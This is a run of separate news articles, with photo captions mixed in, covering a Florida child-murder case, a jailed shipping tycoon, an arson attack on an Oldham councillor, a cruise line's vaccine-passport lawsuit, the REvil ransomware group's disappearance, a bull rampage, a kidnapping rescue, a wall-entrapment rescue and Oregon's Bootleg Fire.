'I am God! I am the devil!', neighbors heard Tinessa Hogan yelling the day before the bodies of Destiny Hogan, 9, and Daysha Hogan, 7, were found near the family's home in Lauderhill on June 22.

The 36-year-old was arrested and charged Tuesday night with two counts of first-degree murder, news outlets reported.

Residents in the area, which is near the city of Fort Lauderdale, told investigators that Hogan had offered to baptize people's children in the canal a day before the girls' bodies were found - which is the last time they were seen alive, police said last month.

Destiny's body was spotted first on the afternoon of June 22. Hours later, authorities found her sister's body nearby.

Neighbors also revealed that Hogan was swimming with a Bible and carrying a sign that read 'death is the only way' shortly before the bodies were discovered.

They described her as having a 'cult-like' personality and wanting to evangelize people.

Tinessa Hogan, 36, was arrested Tuesday in the deaths of her daughters Destiny Hogan, 9, and Daysha Hogan, 7

The girls were found eight hours apart floating in a canal near the family home in Lauderhill on June 22

Neighbors say she was screaming 'I am God! I am the devil!' and had been seen swimming with a Bible, offering to baptize kids in the canal a day before her daughters' bodies were found

Neighbor Lawana Johnson told CBS Miami that she saw Hogan Monday. 'She was in the water swimming, she had a Bible and she told me to come here.

Authorities said last month that the family lived near the canal, before adding that there are no records of child welfare workers responding to the home

'I said, 'Why?' She said she wanted to baptize me. She say God told her. I say, 'God didnt tell you anything.'

Video obtained by local news outlet WPLG showed Hogan being handcuffed before being taken into custody after Destiny's body was discovered and before Daysha's body was found floating in the canal later that day.

However, formal charges weren't brought against her until her arrest on Tuesday, weeks after the bodies were found, leading to the belief that police had initially detained her under Florida's Baker Act, which applies to people with mental illness.

Police are investigating whether Tinessa Hogan was part of a religious organization. 'We desperately need to know what the relationship was and how this may have happened,' police said

Police also are investigating whether or not Hogan was part of a church or a religious organization.

'If you know the family, the children, if you're familiar with the relationship, if you're familiar with any churches or organizations that they may be a part of, we desperately need to know what the relationship was and how this may have happened,' Lauderhill Police Lt. Mike Bigwood. said at a press conference on June 24.

Authorities said last month that the family lived near the canal, before adding that there are no records of child welfare workers responding to the home.

Investigators said there were no obvious signs of trauma on Daysha's body. Destiny had pale white hands, and a white substance on her face. Autopsies were completed the day after the girls' bodies were discovered, although those results have not yet been publicly released.

It was not immediately known whether Hogan has retained a lawyer who can speak on her behalf.
Nobu Su, a 62-year-old Taiwanese shipping magnate, has been jailed

A disgraced former multimillionaire who was arrested after demanding a free ferry ticket to Belfast has since been jailed for contempt of court in a separate case.

Nobu Su, a 62-year-old Taiwanese shipping magnate, had been the boss of a hugely successful set of companies but had his assets frozen in 2014 before being declared bankrupt with debts of 654million last year.

Lakatamia Shipping, owned by Polys Haji-Ioannou - the brother of EasyJet founder Sir Stelios Haji-Ioannou, had previously applied to the High Court for a Passport Control Order after Mr Su failed to pay his debts.

This meant Mr Su would have been forced to surrender his travel documents but he was able to evade authorities before taking a taxi to Liverpool with a view to fleeing the jurisdiction by ferry to Belfast.

Mr Su had demanded a free ticket on a Stena Line ferry on the asserted basis that he was good friends with the owner of the company.

Staff grew suspicious and called the police before he was arrested and spent the night in HMP Liverpool.

But Mr Su faced a fresh blow last week after High Court judge Mr Justice Bryan ruled that he and his mother Toshiko Morimoto had hidden cash resulting from the sale of two villas in Monaco and a private jet.

And, in a separate hearing under judge Sir Michael Burton GBE, Mr Su was then jailed for 24 months for multiple contempts of court including failing to disclose his interests in various companies.

Mr Su and his network of companies still owes in excess of $70million to the Greek company Lakatamia Shipping.

Fallen tycoon Mr Su had inherited the booming shipping firm Taiwan Maritime Transport Co Ltd, later renamed Today Makes Tomorrow (TMT) from his father, Su Ching Wun, who died in 2001.

In a written judgement, Mr Justice Bryan described how the financial crisis in 2008 was a major blow for the business, but was exacerbated by how Mr Su had run things since the death of his father.

The judge wrote: 'What is not in issue is that, after Mr Su succeeded his father, he made sweeping changes to the business, and embarked on massive speculation in the market in forward freight rates, trading in derivative instruments through various companies in the TMT group, including TMT Co Ltd, Liberia ('TMT Liberia').

'Since the financial crisis in 2008 (and as a result of his abject mismanagement of the successful business inherited from his father) he brought that business to its knees.'

Mr Su had demanded a free ticket on a Stena Line ferry on the asserted basis that he was good friends with the owner of the company

In July 2008 Mr Su entered a complicated financial arrangement with Lakatamia in a desperate bid to raise cash but his companies failed to repay the Greek firm leading to protracted legal action.

The judgements reveal how in 2018, following repeated failures to pay up, Lakatamia applied to the High Court for a Passport Control Order - meaning Mr Su would have to surrender his travel documents.

But the businessman evaded authorities in Paris, where he was staying at the time, and arrived at Heathrow Airport in London on January 10, 2019.

Police officers met him at the airport and confiscated his passport as he falsely stated he was heading to the Dorchester Hotel.

But according to the court judgement: 'On 14 January 2019, Madam Su (Mr Su's mother) transferred 100,000 New Taiwanese Dollars to Mr Su's credit card.

'The following morning, Mr Su took a taxi to Liverpool with a view to fleeing the jurisdiction by ferry to Belfast, demanding a free ticket on a Stena Line ferry on the asserted basis that he was good friends with the owner of the company.

'The staff were suspicious and called the police. He was arrested and spent the night in HMP Liverpool.'

Mr Su was jailed a few weeks later for refusing to comply with court orders and served around half of a 21-month sentence in London's HMP Pentonville.

He has previously complained to reporters that he is not legally entitled to work in the UK but is unable to leave and claimed his rights have been violated.

He also claimed to have been threatened with a knife during his first prison sentence and to have witnessed drug taking and violence.

Mr Su will likely be released after serving around 12 months of his latest sentence.
The first female Muslim leader of Oldham Council's car has been firebombed as local MP reveals 'community activists' have started campaign claiming the town is becoming a 'Muslim enclave'.

Arooj Shah's car was torched just before 1.30am on Tuesday in the Glodwick area of the town. Police this afternoon arrested a 23-year-old man on suspicion of arson with intent to endanger life.

Politicians have rushed to condemn the 'appalling' attack - including Labour MP for Oldham West and Royton Jim McMahon who shared his 'solidarity' with the councillor who was 'targeted in such a cowardly way'.

He later pointed out that Ms Shah has been the subject of a local campaign lambasting the creation of 'an enclave of a new Muslim nation within our nation'.

The MP quoted a podcast posted online on Tuesday, in which one activist said: 'In areas across the United Kingdom, a new nation is being constructed.

'Carved out from exploiting the very freedoms and values, which underpin our way of life.'

The MP quotes the blogger as saying it is 'only a matter of time before their black banners freely fly across parts of our land' because 'their medieval prejudices [are] validated by those in positions of power'.

Arooj Shah's (pictured) car was torched just before 1.30am on Tuesday in the Glodwick area of the town. Police this afternoon arrested a 23-year-old man on suspicion of arson with intent to endanger life

Politicians have rushed to condemn the 'appalling' attack - including Labour MP for Oldham West and Royton Jim McMahon (pictured) who shared his 'solidarity' with the councillor who was 'targeted in such a cowardly way'

In another segment, the activist is reported to have said: 'I would rather our children and grandchildren did not wake up one day to find our town all about an enclave of a new Muslim nation within our nation.'

The MP also pointed to a fundraiser started by activists, which calls for a 'stop to proposals changing Oldham's parliamentary boundaries' to prevent a 'Muslim constituency'.

On the Change.org site, the campaigner claimed he represented the 'undersigned people' of Oldham.

Mr McMahon blasted the comments, saying 'our town is being divided in plain sight'.

He added: 'I've put up with much personal abuse from many involved, but I will not tolerate any part of my community being continually marginalised and attacked. It needs calling out.'

Ms Shah is the first Muslim woman to take charge of a council in the north of England.

Politicians have rushed to condemn the 'appalling' attack - including Labour MP for Oldham West and Royton Jim McMahon (left, with Jeremy Corbyn) who shared his 'solidarity' with the councillor who was 'targeted in such a cowardly way'

Greater Manchester police have not confirmed if the attack was targeted.

Police were called to the Glodwick area of Oldham just before 1.30am on Tuesday after reports of a vehicle on fire.

Emergency services arrived and firefighters put out the blaze.

This afternoon, Greater Manchester Police (GMP) released a statement saying a man, 23, has been arrested on suspicion of arson with intent to endanger life.

He remains in custody, and is assisting police with their inquiries, the statement said.

Detective Chief Inspector Wesley Knights of GMP's Oldham division said: 'This fire destroyed a vehicle and caused damage to a neighbouring property.

'It was a reckless, abhorrent act, and it's fortunate that no-one got hurt.

'We will not rest until the circumstances around this incident are fully understood, and those responsible brought to justice.

The blogger is quoted as saying it is 'only a matter of time before their black banners freely fly across parts of our land' because 'their medieval prejudices [are] validated by those in positions of power'

'While we have made an arrest, our investigation remains very much ongoing, and I would like to appeal to anyone who may have witnessed anything, or have any information surrounding this fire to please contact police as soon as possible.'

After the attack, Mr McMahon tweeted: 'My solidarity with Cllr Arooj Shah who has been targeted in such a cowardly way.

'The full weight of the law must be seen to bring those accountable to book.'

Councillor Howard Sykes, leader of Oldham Liberal Democrats, said: 'This attack is appalling.

'It is a frightening attack on an individual, but it is also demonstrates the threat to people in public life and stops decent people from being involved in it.

'This cannot be allowed to continue, and not only must we stop this criminal attack, but also the abusive approach that has been too much of the politics in Oldham recently, and the UK, in recent years.

'Everyone deserves to be treated with dignity, with respect, and with fairness.

'Abuse and "dog-whistle" politics can have no part in our society.'
Norwegian Cruise Line Holdings is suing the Florida surgeon general over the state's law prohibiting companies from asking customers for proof of their COVID-19 vaccinations.

In the complaint filed Tuesday, the cruise line operator says it is sticking with Centers for Disease Control and Prevention guidelines calling for all passengers to show proof of vaccination as the company prepares to resume cruises. It describes Florida's ban as an 'anomalous, misguided intrusion' that threatens to derail its plans.

The suit, filed in the US District Court for the Southern District of Florida, names Florida Surgeon General Dr. Scott Rivkees as the defendant because his office is responsible for enforcing the state prohibition. It is asking the court to suspend the law.

Among the arguments set forth in the suit, Norwegian says the ban, is a violation of First Amendment provisions protecting communications between customers and businesses, preempts federal regulations, and, 'profoundly disrupts the proper flow of interstate and international commerce.'

Norwegian Cruise Line Holdings is suing the Florida surgeon general over the state's prohibition on companies requiring customers show proof of vaccination. It says the law could derail its plans to launch its first cruise out of the state in August aboard the Norwegian Gem (pictured)

The suit names State Surgeon General Dr. Scott Rivkees as the defendant because he the official in charge of enforcing Florida's ban

The company said asking for vaccine documentation could expose it to a $5,000 fine per passenger on its first cruise out of the state on the Norwegian Gem scheduled for Aug. 15.

In April, Florida Gov. Ron DeSantis, issued an executive order blocking businesses from asking for vaccine documentation, and signed the ban into law May 3, arguing, 'In Florida, your personal choice regarding vaccinations will be protected and no business or government entity will be able to deny you services based on your decision.'

A spokeswoman for DeSantis told the Daily Mail that for its upcoming scheduled trips, Norwegian has, 'made the disappointing and unlawful choice to join the CDC in discriminating against children and other individuals who cannot be vaccinated or who have opted not to be vaccinated for reasons of health, religion, or conscience.'

Florida Gov. Ron DeSantis signed the prohibition into law on May 3, saying, 'your personal choice regarding vaccinations will be protected and no business or government entity will be able to deny you services based on your decision.'

'Every other industry in Florida has safely reopened while still respecting the right of every Floridian to make their own medical choice when it comes to vaccinations,' she added.

Norwegian's suit, which it describes as a 'last resort,' is an escalation of the standoff between the state and cruise line operator over the law.

In May, Norwegian Chief Executive Officer Frank Del Rio said it could force the company to move its operations out of the state.

'At the end of the day, cruise ships have motors, propellers and rudders, and God forbid we can't operate in the state of Florida for whatever reason, then there are other states that we do operate from, and we can operate from the Caribbean for a ship that otherwise would have gone to Florida,' he told investors during an earnings call.

While Norwegian is striving to have 100% of its passengers vaccinated, other cruise line operators have found different ways of contending with the Florida law.

Royal Caribbean is asking passengers 12 and older that decline to show proof of vaccination take multiple coronavirus tests while onboard, totaling $178 that will be added to the cost of the trip.

Separately, Carnival Cruise Line is requiring unvaccinated passengers buy $10,000 worth of travel insurance and $30,000 in emergency medical evacuation insurance.

Additionally, last month a federal judge sided with Florida in its lawsuit over the CDC's cruise industry guidelines, which in addition to vaccination requirements, includes several reopening phases such as test cruises.

Judge Steven Merryday granted Florida's request for a preliminary injunction preventing the CDC from enforcing the guidelines, saying the agency had overstepped its boundaries.

In its lawsuit Norwegian cites the devastating impact the pandemic has had on the cruise line industry, as it has been forced to suspend operations since March 2020.

The suit was filed in the US District Court for the Southern District of Florida Tuesday

'That shutdown has inflicted incalculable, irrecoverable losses,' the company said.

The company reported a loss of $4 billion in 2020 as its operations ground to a halt, and it wasn't alone.

Carnival, the world's largest cruise line company, reported that it lost $2.07 billion in the quarter that ended May 31 and has lost more than $14 billion since the pandemic started.

Passenger cruises saw some of the earliest reported clusters of the coronavirus outside of mainland China.

Princess Cruises' ship Diamond Princess was quarantined off the coast of Japan on Feb. 3, 2020, and on March 6 Princess' Grand Princess was quarantined off the coast of California after COVID cases were detected on board.

Despite the devastation the pandemic has inflicted on the passenger cruise industry, there are signs of a rebound. On June 20 Royal Caribbean's Freedom of the Seas became the first cruise ship to depart from a US port in 15 months with 650 passengers on board (pictured)

By March 17 confirmed coronavirus infections had been associated with 25 additional cruise ships.

There are signs of a rebound, however, on June 20 Royal Caribbean's Freedom of the Seas became the first cruise ship to depart from a US port in 15 months.

Freedom of the Seas set sail from PortMiami with 650 passengers on board - well below the impressive ship's capacity of 4,500.

The two-day trip was dubbed a 'simulated voyage' by the CDC and is meant to test whether cruises hit hard early in the pandemic are safe to sail as COVID-19 continues to circulate worldwide.

All of the passengers were volunteers or employees of Royal Caribbean.
The Kremlin has failed to deny that the takedown of Russian-based hacking group ReVil is tied to US President Joe Biden's pressure on Russian President Vladimir Putin.

Press secretary of the President of the Russian Federation Dmitry Peskov said Wednesday the state doesn't have any information about REvil's sudden disappearance from the internet and insisted Russia wants to 'cooperate' with the US in taking down cybercriminals.

REvil's dark web data-leak site and ransom-negotiating portals have both been unreachable since about 1am on Tuesday.

The timing of the takedown raised eyebrows coming just days after Biden demanded Putin took action following a series of devastating ransomware attacks by the Russia-based group on US businesses.

REvil, also known as 'Ransomware evil', was responsible for the Memorial Day ransomware attack on the meat processor JBS and the supply-chain attack this month targeting the Miami-based software company Kaseya that crippled well over 1,000 businesses globally.

The Kremlin has failed to deny that the takedown of the websites used by Russian-based hacking group ReVil is tied to US President Joe Biden's pressure on Russian President Vladimir Putin. Biden and Putin pictured meeting at the Geneva Summit on June 16

When asked Wednesday by reporters if Russia was behind REvil's takedown from the darknet, Peskov denied having any knowledge of what had happened.

'I cannot answer your question, because I do not have such information. I do not know which group, where it disappeared from,' he said, according to Russian News Agency TASS.

He said Russia believes cybercriminals 'should be punished' but doubled down that he was not aware if the ransomware gang had been deliberately been targeted by authorities.

'We believe that [cybercriminals] should be punished,' he said.

'On the international level, we believe that we should all cooperate. In this case, Russia and the United States should cooperate in order to suppress such manifestations.

'As for the particulars about this group, I, unfortunately, with such information I don't have it, 'he added.

Peskov said the US and Russia had begun talks on how to work together to tackle cyber crime.

'Yes, the process of bilateral consultations on this topic has begun,' he said.

The US has also so far stayed quiet on whether or not it was behind REvil's disappearance.

Spokespeople for the White House and US CyberCommand, the Pentagon's cyber arm, declined to comment on Tuesday about REvil going dark.

The reason for the disappearance remains a mystery but speculation has grown that talks between Biden and Putin may have led to authorities in one or both countries to orchestrate its removal.

REvil was responsible for the supply-chain attack this month targeting the Miami-based software company Kaseya that crippled well over 1,000 businesses globally

The ransomware group was also behind the Memorial Day ransomware attack on the meat processor JBS

REvil: The Russian ransomware gang behind US attacks REvil, also known as Sodinokibi, is a group of hackers that recruits affiliates to distribute ransomware for them. As part of the deal, REvil and the affiliates split any ransoms obtained using the group's malware. Short for 'ransomware evil,' REvil refers to both the group and its software. Members are known to speak Russian, and the group operates with impunity from somewhere in Russia or Eastern Europe. The group is behind recent attacks on US businesses, including the JBS meat plant and Miami-based software firm Kaseya. Advertisement

Biden told Putin on a call Friday that he needed to rein in attacks from Russia-based groups and warned that the US had the right to defend its people and critical infrastructure from attacks.

He told reporters he had 'made it very clear to [Putin]... we expect them to act' and vowed to take down REvil's servers if Russia did not.

The latest attack from the ransomware gang came just two weeks after the two leaders met at a summit in Geneva, Switzerland, on June 16.

At the meeting Biden urged the Russian president to crack down on cyber hackers emanating from Russia.

Biden told Putin that 16 types of critical infrastructure - including food and agriculture, emergency services and health care - should be 'off-limits' to cyberattacks and warned of consequences if such attacks continued.

In the meeting, Putin denied that Russia was behind recent attacks.

However, despite the suspicious timing of REvil's disappearance, cybersecurity experts said that it was premature to speculate.

Vanishing acts are common in the ransomware world where gangs tend to disappear and rebrand when they begin attracting too much heat.'

There was also no immediate or public signs that the government had anything to do with REvil appearing offline.

Threat researcher Ryan Sherstobitoff of SecurityScorecard said it was also possible that the group was laying low after the attack or switching methods 'as we did expose them'.

Sean Gallagher, a threat researcher at the cybersecurity firm Sophos, added: 'It could be that the server hardware failed, or that it was intentionally taken down, or that someone attacked their host.'

He noted that REvil's public ransom-negotiating site was also down last week.

The two leaders met at the Geneva Summit last month (pictured), where Biden warned Putin there would be consequences if ransomware attacks continued to hit the US from Russia

US businesses that have fallen victim to Russian-based hacking group REvil JBS JBS, America's largest meat supplier, fell victim to a ransomware attack back in May that shut down its US plants. It learned of the attack on May 30 after finding 'irregularities' on its servers and a ransom note. This forced the supplier to shut down its computer servers, suspending meat production systems at its US plants for four days. The FBI said in June REvil - the Russian cybercriminal group also known as Sodinokibi which is known to be one of the most prolific cyber gangs in the world - was behind the breach. It then emerged JBS paid an $11million ransom in Bitcoin to the hackers to get its plants back online. Kaseya Miami-based software firm Kaseya was breached by REvil in a cyberattack ahead of July 4 weekend. The hackers targeted Kaseya before spreading to other firms that use the company's software. The breach was discovered July 2 as many businesses had already closed or waved goodbye to employees for the long Independence Day weekend. Up to 1,500 businesses worldwide across at least 17 countries were compromised as a result of the attack including forcing the shutdown of a major Swedish supermarket chain. Advertisement

'We have seen no indicators for either voluntary shutdown nor of any offensive steps from law enforcement,' said Alex Holden, founder and chief information security officer of Hold Security.

'Right now, perhaps, it is too early to speculate, especially as REvil was building up their strength over the recent months.

'There is always a glimmer of hope that Russia is finally doing something right.'

Ransomware variants have previously disappeared as the criminals behind them retooled and modified their malware before introducing it under a new guise.

That is what threat analysts believe happened with a precursor to the REvil ransomware-as-a-service software called Gandcrab.

It was the most successful variant over a 15-month run that began in January 2018.

REvil has claimed responsibility for a series of attacks on US businesses this year alone.

The unprecedented attack targeting the Miami-based software firm Kaseya affected an estimated 1,500 businesses globally.

The hackers first targeted Kaseya before spreading to other firms that use the company's software.

The hackers hijacked widely used technology management software from Kaseya then changed a Kaseya tool called VSA.

VSA is used by IT professionals to manage technology including servers, desktops, network devices and printers at smaller businesses.

The cybercriminals then encrypted the files of those providers' customers simultaneously.

This type of hacking is especially damaging as by going after MSPs the hackers can reach many more victims - by breaching the systems of their customers as well.

The breach was discovered July 2 as many businesses had already closed or waved goodbye to employees for the long Independence Day weekend.

The Kaseya attack shut down a major Swedish supermarket chain and ricocheted around the world, impacting businesses in at least 17 countries, from pharmacies to gas stations, as well as dozens of New Zealand kindergartens.

Meanwhile, the attack on JBS saw America's largest beef supplier end up paying an $11 million ransom in Bitcoin to the hackers who shut down its plants.

JBS learned of the attack early on May 30 after discovering 'irregularities' on its servers and a ransom note.

US businesses and critical infrastructure have fallen victim to attacks from other cyber criminal groups thought to be based in Russia in recent months with Colonial Pipeline hacked by DarkSide (Colonial Pipeline's Dorsey Junction Station in Woodbine, Maryland pictured)

The hack threatened to disrupt meat supplies across the United States over Memorial Day weekend, suspending meat production systems at JBS's US plants for four days.

The FBI said in June REvil was also behind that breach.

US businesses and the nation's critical infrastructure have fallen victim to attacks from other cyber criminal groups thought to be based in Russia in recent months.

In May, Colonial Pipeline fell victim to an attack that forced the carrier of 45 percent of fuel to the East Coast to shut down its entire network and sparked a fuel crisis nationwide.

The attack forced the pipeline offline on May 7, halting 2.5 million barrels per day of fuel shipments along the line running from Texas to New Jersey.

It sparked concerns of a national fuel crisis with thousands of gas stations running out of fuel and motorists racing to fill up their cars, pushing the national average price of gas past $3 for the first time since 2014.

Colonial Pipeline shelled out almost $5million to DarkSide to get its pipeline back online as soon as possible.

DarkSide is a criminal cybergroup also believed to be based in Russia or Eastern Europe with ties to Russia.

Officials said the hack was the most disruptive cyberattack on energy infrastructure in American history.

Back in December, several government agencies and top businesses were breached by a suspected Russian-state-sponsored group Nobelium via the SolarWind software.
Dramatic footage captured the moment a crazed bull stormed into a home in India, causing workers to flee as the confused bovine wrecked their house.

CCTV from outside shows the animal fighting another bull in the streets of the Abohar District, in Punjab, last Thursday before he decided to flee the battle.

As the other bull chased him, the black-and-white bovine ran into a nearby house where five men can be seen working.

Film from inside the home shows the group quickly fleeing the scene, some faster than others, as the bull smashed through the room.

After a few seconds, the crazed bull can be seen carefully making his way out of the house with its rival nowhere to be found.

Moments after the bull departs, the men can be seen re-entering the house to try to clean things up as other residents stop by to help.

The black-and-white bull charged into the house, thrashing about as workers desperately tried to flee its rampage in the streets of the Abohar District, in Punjab, India

The crazed bull had been spotted having a fight with a fellow bovine outside the street, where it seemed to be overpowered and had been chased into the house

As the final man staggers to escape from the bull, the bovine waits inside the home until the coast is clear and then carefully exits the home

This is not the first time a stray bull has caused trouble in the district as one killed a 20-year-old rag-picker in April, according to the Tribune India.

Last year, a bull was caught on video trampling a little boy walking with his brother in the Rewari district, in Haryana.

Miraculously, the two brothers escaped with only minor injuries.

As the boys retreat, the bull continues its attack. Sources suggest the bull which was standing calmly at the corner of the street was agitated by the yellow shirt the younger boy was wearing

Sources suggest the bull which was standing calmly at the corner of the street was agitated by the yellow shirt one of the brothers was wearing.

There have been serval protests in both regions to urge officials to do something about these violent, stray bulls.
A puppy hit a wall - literally - while trying to keep up with his older sibling in a hilarious video caught by their owner.

Rambo, an excited seven-month-old blue heeler pup, charged a chain-link fence and smashed into it before he followed his two-year-old sister over the lower part of the barrier.

A 24-second video captured the blunder, which took place in Virginia Beach, Virginia on July 10.

Virginia Beach rescue pup Rambo made it over a fence twice after a couple of blunders

The bloopers didn't end there.

Their owner is heard whistling off-camera and saying, 'come on, come on,' as she beckons the dogs over one more time.

Pepper, the older one, hops over effortlessly before Rambo misses the lower part of the fence again, this time by just a few inches.

Rambo was just recently adopted by the family.

'Hes still adjusting to being a normal dog as he wasnt given a great life up until he met us!' the unnamed owner said.

'Rambo has such a silly and fun personality, and clearly didnt see the fence!'

Pepper, Rambo's sister, is a two-year-old of the same breed, Australian Cattle Dog

Blue Heelers are also sometimes known as Red Heelers or by their standard name, Australian Cattle Dog.

They are described as 'alert, extremely intelligent, watchful, courageous and trustworthy,' according to the Australian National Kennel Council.

The aptly-named breed's main function 'is the control and movement of cattle in both wide open and confined areas.'

Blue Heelers trace their origins to the Smithfield, which was imported to Australia from Britain in the 19th century.

They were crossed with feral dingoes and breeds like the Scottish Highland Collie to create the optimal herder, according to the American Kennel Club.
A kidnapped woman was rescued after leaving notes pleading for help in two public restrooms in Pennsylvania.

Corey Brewer, 38, of Pittsburgh, faces sexual assault and unlawful restraint charges after allegedly holding the woman against her will since May 1.

The woman left her first note in the bathroom of the Walmart in Carnegie, Pennsylvania on July 8 claiming that she was being held against her will and sexually and physically assaulted.

Corey Brewer, 38, was arrested at his home in Pennsylvania were a woman was rescued after claiming she was being held against her will and physically and sexually assaulted

She said Brewer had a knife and insisted someone call 911 because this was not a joke, according to a criminal complaint. She also left information including the type of car Brewer drove and his address in hopes that she would be rescued.

Employees of the Walmart found the concerning note and informed the police.

When law enforcement arrived at the address listed in the note no one answered the door but they reported that they could hear furniture being moved around inside.

Officers called Brewer's number asking to speak to the victim privately but he refused to take the call off speaker phone. During the phone conversation, Brewer told police that the two were in New York on vacation and the victim told police that Brewer was her boyfriend.

Two days later on July 10, another note left by the same victim appeared on the mirror of the women's restroom at the Fallingwater Museum in Mill Run.

Surveillance footage from Fallingwater showed Brewer and the alleged victim at the landmark.

In the second note the woman again begged someone to call 911. She claimed that she had been held against her will since May 1 and that despite what she said on the phone she was not on vacation with her boyfriend.

The woman left notes in the restrooms of a Walmart and museum with information to find her begging someone to call the police

According to reports, one of the notes read, 'If I don't make it tell my family I love them'

The complaint states that the in the note read that, 'she heard the police knocking at the residence, that the abuse hasn't stopped, and please don't give up.'

One of the notes read, 'If I don't make it tell my family I love them.'

Police were then able to get a search warrant. The SWAT team surrounded Brewer's home in Scott Township early Sunday morning rescuing the woman and arresting Brewer.

According to the complaint, she told police that Brewer took her phone and sexually and physically assaulted her also threatening to kill her and her children if she tried to leave.

The woman also alleged Brewer took nude photos of her against her will and used a knife to cut her foot. Police confirmed that there were obvious signs of assault.

Brewer and the woman had previously had a relationship but she filed a protection of abuse order against him in August 2020 which expired one month later, the alleged victim's ex told police.

Brewer is being held at the Allegheny County Jail and is due in court on July 22 for a preliminary hearing.

Scott Township Police Department could not be reached to comment.
A naked woman stuck in an 8-inch space between two commercial buildings was freed after a more than two hour rescue mission.

The woman had wedged herself between the walls of an auto body shop and car stereo store located on N. Harbor Boulevard in Santa Ana, California.

Firefighters were called to the scene around 2 pm Tuesday after nearby workers heard the woman cry for help, KTLA reports.

'We heard a lady in the back, behind our shop, screaming, screaming, screaming,' the shop owner told the news outlet. 'We called the cops and the cops came in and got on the roof and looked between the two walls and she's all naked.'

A naked woman was trapped between the walls of an auto body shop and a car stereo store in Santa Ana, California Tuesday afternoon

Rescue crews say she wedged herself in an 8-inch space

Fire crews could not reach the woman so they began a 'cautious and technical operation' in which they attempted to breach the wall using a drill.

According to the Orange County Fire Authority, rescuers monitored and spoke with the woman throughout the drilling process. They also had to constantly ventilate the area.

Around 4:30 pm, after cutting a large area of concrete from the wall, crews pulled the woman out.

Officials say it was unclear if the woman was hurt, noting that she was alert and communicating with firefighters throughout the rescue. Paramedics took her to an area hospital for evaluation.

After determining there was no other way to reach the woman, firefighters used a drill to cut a hole in the concrete wall

Crews pulled freed the woman after a more than 2 hour rescue mission. It is unclear how she got trapped in the space or how long she was there for

Rescuers say it is unclear how the woman got trapped between the walls.

'That's a mystery to all of us here right now,' Orange County Fire Authority Capt. Thanh Nguyen told KTLA.

Officials are also uncertain how long the woman was trapped for. Nearby workers told FOX 11 they heard cries for help for 20 to 30 minutes before they were able to locate the woman, saying the noisy area made it hard to pinpoint the cries.

DailyMail.com has reached out to Orange County fire and Santa Ana police for an update on the woman's condition and additional information about the investigation.
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Satellite images reveal the massive wildfire in Oregon that is now the biggest in the nation and covers 201,923 acres - larger than the size of New York City.

The Bootleg Fire began on July 6 in the Fremont-Winema National Forest, in Klamath Falls, and doubled in size last weekend. By Tuesday, the wildfire completely torched 54 buildings and 21 homes in its wake, according to the National Wildfire Coordinating Group.

It is still unclear what first ignited the flames, but fire officials said they spread quickly because of a dangerous mix of extremely dry air, gusty winds and inordinately high temperatures from a heat dome that is keeping the West Coast in scorching temperatures.

Portland Fire and Rescue told KOIN 6 News that it could take weeks for crews to fully assess the damage and the fire may not be completely contained until late fall. On Wednesday, there were 1,338 personnel battling the blaze with 22 hand crews, 133 engines and 14 aircrafts.

Satellite images reveal the massive wildfire in Oregon that is now the biggest in the nation and covers 201,923 acres

The Bootleg Fire doubled in size last weekend and covers more land than New York City. It began on July 6 in the Fremont-Winema National Forest

The blaze has completely torched 54 buildings and 21 homes in its wake, and is still not contained

A map from the Oregon State fire marshal office shows the fire's impact on the surrounding area. As of Wednesday, the blaze covered an area larger in size than New York City

Over the weekend, the Klamath County Sheriffs Office ordered about 100 homes to evacuate as the flames continued to spread

'Conditions were so extreme that firefighters needed to disengage and move to predetermined safety zones,' the U.S. Forest Service said in an incident report. 'Fire managers evaluated conditions and looked for opportunities to reengage firefighters safely.'

Al Lawson, Incident Commander of PNW Team 10, told his crew that the fire would be stronger than what theyre used to fighting and more unpredictable. 'As you go out there todayadjust your reality. We have not seen a fire move like this, in these conditions, this early in the year. Expect the fire to do things that you have not seen before,' he said in a statement.

Local resident Tim McCarley described the fire to KPTV-TV: Like a firenado, it would go up and then it would just go this direction then that direction. 60, 70, 80 feet, catch these trees over here and then just explosions, boom, boom, boom, boom as these trees were exploding.

Over the weekend, the Klamath County Sheriffs Office ordered about 100 homes to evacuate and warned that it would cite or even arrest people who ignored orders to evacuate areas impacted by the blaze.

Areas were alerted to flee under level one, two or three evacuation orders. Level 1 means get ready to leave should conditions get worse, Level 2 means get set because the fire is approaching and Level 3 means go now or you could perish.

McCarley and his family were under Level 3 orders on Friday as the blaze reached their neighborhood. We barely made it out of there. They told us to get the hell out cause if not, youre dead. I dont know if my place is lost. Im a retired deputy sheriff out of Wasco County and my whole life savings, everything that we have together that we put into this place, it was part of my bucket list and I dont know if its there or what.

McCarleys family has been staying at the Red Cross shelter in Klamath Falls, where volunteers said about 100 people went to escape the fire starting Sunday night.

Local resident Shane Duran watched a smoke plume from the Klamath Falls wildfire from neighboring town Bly

Plumes of smoke from the Bootleg Fire rose over a playground on Monday

Firefighters were briefed before fighting the flames and told that the fire would be stronger than what theyre used to fighting and more unpredictable

Someone posted a sign in the Fremont-Winema National Forest thanking the firefighters and first responders working in extreme heat to tend the flames

'Everybody does the best they can under the circumstances, but its really hard when people dont know if theyll have a home to go back to,' said Darrell Fuller, a Red Cross volunteer.

The fire also drastically disrupted service on three transmission lines providing up to 5,500 megawatts of electricity to California, and California Independent System Operator repeatedly asked for voluntary power conservation over the weekend and on Monday. By Tuesday, the California Independent System Operator announced that the conservation efforts worked and the power grid was no longer suffering.

There are currently three other fires across the state: The Jack Fire in Douglas County, the Grandview Fire near Oregon's Crooked River National Grassland and the Bruler Fire near Detroit. The Jack Fire is burning through more than 12,500 acres and is 15 percent contained. The Grandview Fire has burned over 5,700 acres and is 5 percent contained. And the Bruler Fire is about 60 acres and is not contained at all, the agency said.

Meanwhile, as of Wednesday, about 68 wildfires were burning a total of about 1 million acres across 12 states, according to the National Interagency Fire Center.

In Northern California, a combined pair of lightning-ignited blazes dubbed the Beckwourth Complex was less than 25% surrounded after days of battling flames fueled by winds, hot weather and low humidity that sapped the moisture from vegetation. Evacuation orders were in place for more than 3,000 residents of remote northern areas and neighboring Nevada.

The fires erupted as the West was in the grip of the second bout of dangerously high temperatures in just a few weeks. A climate-change driven megadrought is contributing to conditions that make fires even more dangerous, scientists say.

The National Weather Service said the heat wave appeared to have peaked in many areas, and excessive-heat warnings largely expired by Tuesday. However, temperatures still may hover in the triple digits in some areas through Friday because of a heat dome of static high-pressure hot air that traps the heat in one location.

'This time, the core of the high pressure and heat has been anchored farther to the south and has allowed excessive heat to build up across the region,' AccuWeather Senior Meteorologist Adam Douty told USA Today.

The fires erupted as the West was in the grip of the second bout of dangerously high temperatures in just a few weeks

